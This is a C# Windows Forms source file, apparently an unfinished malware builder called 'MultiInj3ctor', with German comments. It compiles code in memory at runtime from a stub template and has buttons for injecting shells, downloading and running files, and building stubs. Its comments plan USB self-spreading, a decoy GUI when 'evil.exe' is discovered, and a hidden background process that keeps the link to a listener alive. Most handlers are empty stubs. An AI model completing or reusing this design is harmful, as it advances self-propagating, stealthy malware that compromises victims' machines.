using System;
using System.IO;
using System.Drawing;
using System.Windows.Forms;
using System.Text;
using br00d;

namespace br00d
{
	public class MainClass : Form
	{
		
		#region Laufzeitkompilieren
		/// <summary>
		/// Führt die Compilierung mit dem angegebenen Code aus
		/// </summary>
		private void Compile()
		{
		    String InputCode = String.Empty;
		    //Unser TestCode, in dem Wir ein MessageBox aufrufen
		    InputCode = "MessageBox.Show((1 + 2 + 3).ToString());";
		 
		    System.Reflection.Assembly Assembly = CompileCode(InputCode);
		    //Compilefehler abfangen
		    if (Assembly == null) return;
		    object Temp = Assembly.CreateInstance("RunTimeCompiler.Test");
		    //Fehler bei Instanzenerzeugung
		    if (Temp == null) return;
		    Type RefType = Temp.GetType();
		    //Aufzurufende Methode auswählen, in unserem Fall heißt die Funktion Ergebnis
		    System.Reflection.MethodInfo MethodInfo = RefType.GetMethod("Ergebnis");
		    //Methode aufrufen, in unserem Fall haben wir in der Funktion Ergebnis keine Parameter. Andernfalls müssten diese als Object-Array angegeben Werden
		    MethodInfo.Invoke(Temp, new object[] { });
		}
		/// <summary>
		///
		/// </summary>
		/// <param name="InputCode"></param>
		/// <returns></returns>
		public static System.Reflection.Assembly CompileCode(string InputCode)
		{
	    System.CodeDom.Compiler.CodeDomProvider CodeDomProvider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("CSharp");
	    //Parameter für die Compilierung, wie die einzubindenen Bibliotheken usw.
	    System.CodeDom.Compiler.CompilerParameters CompilerParameters = new System.CodeDom.Compiler.CompilerParameters();
	    CompilerParameters.ReferencedAssemblies.Add("System.dll");
			CompilerParameters.ReferencedAssemblies.Add("System.Drawing");
	    CompilerParameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
	    CompilerParameters.CompilerOptions = "/t:library";
	    CompilerParameters.GenerateInMemory = true;
	 
	    //Über den StringBuilder wird der Code zusammengesetzt
	    StringBuilder Temp = new StringBuilder();

	    Temp.AppendLine(InputCode);

	 
	    //Compilieren
	    System.CodeDom.Compiler.CompilerResults CompilerResults = CodeDomProvider.CompileAssemblyFromSource(CompilerParameters, Temp.ToString());
	    //Auf CompilerFehler prüfen
	    if (CompilerResults.Errors.Count > 0)
	    {
	        MessageBox.Show(CompilerResults.Errors[0].ErrorText, "Fehler bei Laufzeitkompilierung", MessageBoxButtons.OK, MessageBoxIcon.Error);
	        return null;
	    }
	    //Rückgabe der compilierten Assembly
	    return CompilerResults.CompiledAssembly;
		}
			#endregion
		
		private static string __cmd;
		private static string __stubSource;
		
		
							 					
		
		
		public static void Main (string[] args)
		{	
			#region Init StubSource
			__stubSource 			= 	@"using System;";
			__stubSource 			+=	@"using System.Drawing;";
			__stubSource			+=	@"using System.Windows.Forms;";
			__stubSource			+=	@"using System.IO;";
			__stubSource			+=	@"namespace br00d {";
			__stubSource			+=	@"public class MainClass : Form {";
			__stubSource			+=	@"private MainClass() { ";
			__stubSource			+=	@" ";
			__stubSource			+=	@" ";
			__stubSource			+=	@"  }";
			__stubSource			+=	@" }";
			__stubSource			+=	@"}";
			
			#endregion
			
			#region Check for Arguments
			if(args.Length == 0)
			{
				Console.WriteLine(); 	
				
				//TODO:Folgenden code später aus diesem Fokus rausnehmen!!
				Console.WriteLine ("Application.CommonAppDataPath\n{0}",			Application.CommonAppDataPath);
				Console.WriteLine ("\nApplication.CommonAppDataRegistry\n{0}",		Application.CommonAppDataRegistry);
				Console.WriteLine ("\nAppDomain.CurrentDomain.BaseDirectory\n{0}",	AppDomain.CurrentDomain.BaseDirectory);				
				Console.WriteLine ("\nApplication.LocalUserAppDataPath\n{0}",		Application.LocalUserAppDataPath);
				
				Console.WriteLine ("\nApplication.AllowQuit\n{0}",					Application.AllowQuit);

				
				Application.Run(new MainClass());		
				
			}
			else
			{
				#region Received Commands
				
				//TODO: Hier werden die Befehle initialisiert die der MultiInjector beherrschen soll
				// - Vorhandene Befehle -	- Kurze Beschreibung -
				// -gui						-startet die Grafische oberfläche
				// -spread					-Methode um sich selbst weiter zu verbreiten und sich selbst zu starten
				//		-spreadGUI			-erzeugt eine zufällige GUI falls evil.exe entdeckt wurde auf dem USB...
				//							-im hintergrund wird noch einmal /lib/evil.exe gestartet die keine GUI besitzt
				//
				//	Da wir von ausgehen können das wenn die Evil.exe entdeckt wurde auch wieder geschlossen wurde und unsere verbindung zum Server weg ist, müssen wir uns dadrauf vorbereiten
				//	indem wir während OnClose() eine 2.exe ausführen die versteckt im hintergrund läuft und die eigentliche verbindung zum listener nicht gedropt wird!
				//
				Console.WriteLine("\n\nReceived arguments:");
				for(int i = 0; i < args.Length;i++)
				{
					if(args[i].Contains("-o"))
					{
						__cmd = args[i];
						Console.Write(args[i]+ " " + args[i+1]+" ");						
					}
					if(args[i].Contains("-i"))
					{
						__cmd = args[i];
						Console.Write(args[i]+ " " + args[i+1]+" ");			
					}
					
				}	
				#endregion
				
				#region cmd check logic
				
				
				#endregion
			}
			#endregion			
			
		}

		
		public MainClass()
	    {	
			this.AutoSizeMode = AutoSizeMode.GrowAndShrink;
			this.Text = "MultiInj3ctor";
			this.ShowInTaskbar = false;
			this.AutoSize = true;
			this.AutoSizeMode = AutoSizeMode.GrowAndShrink;
			
			
			#region Buttons
	      	Button btn1 = new Button();
			btn1.Text = "inj3ct";
			btn1.AutoSize = true;
			btn1.Location = new Point(0,0);
			btn1.Click += HandleBtn1Click;
			
			Button btn2 = new Button();
			btn2.Text = "0ptions";
			btn1.AutoSize = true;
			btn2.Location = new Point(0+btn1.Width,0);
			btn2.Click += HandleBtn2Click;
			
			Button btn3 = new Button();
			btn3.Text = "Download && exec file";
			btn3.Location = new Point(0,0+btn2.Height);
			btn3.Size = new Size(btn1.Width+btn2.Width,btn1.Height);
			btn3.Click += HandleBtn3Click;
			
			Button btn4 = new Button();
			btn4.Text = "Stub Builder";
			btn4.AutoSize = true;
			btn4.Size = btn3.Size;
			btn4.Location = new Point(0,btn1.Height+btn3.Height);
			btn4.Click += HandleBtn4Click;
			#endregion
			
					
			
			
			Controls.Add(btn4);
			Controls.Add(btn1);
			Controls.Add(btn2);
			Controls.Add(btn3);
			CenterToScreen();
	    }

	    

		public static int interI = 0;
//	    void HandleTTick (object sender, EventArgs e)
//	    {
//			if(interI < this.Location.X + marquee.Text.Length)
//			{
//				marquee.Location = new Point(0,marquee.Location.Y);			
//			}
//			
//			if(marquee.Location.X == this.Size.Width-marquee.Size.Width)
//			{
//				marquee.Location = new Point(0,marquee.Location.Y);	
//			}
//			
//	    	if(marquee.Location.X > 0)
//			{
//				marquee.Location = new Point(this.Location.X+marquee.Text.Length,marquee.Location.Y);
//			}
//			else
//			{
//				marquee.Location = new Point(interI++,marquee.Location.Y);	
//			}
//			
//	    }
	    		
		#region Events
		
	    void HandleBtn2Click (object sender, EventArgs e)
	    {
	    	
	    }

		//Inject Btn
	    void HandleBtn1Click (object sender, EventArgs e)
	    {
	    	// TODO: Inject Multiple Shells
			ChooseInjection chInj = new ChooseInjection();
			if(chInj.ShowDialog() == DialogResult.Yes)			//x86 selected
			{
				
			}
	    }
		
		//StubBuilder Btn
		void HandleBtn4Click (object sender, EventArgs e)
	    {
	    	StubBuilder sb = new StubBuilder();
			if(sb.ShowDialog() == DialogResult.No)
			{
				CompileCode(StubBuilder.__compileCode);
			}
			
	    }
		
		void HandleBtn3Click (object sender, EventArgs e)
	    {
	    	
	    }
		#endregion
 
		
		
	
	}
}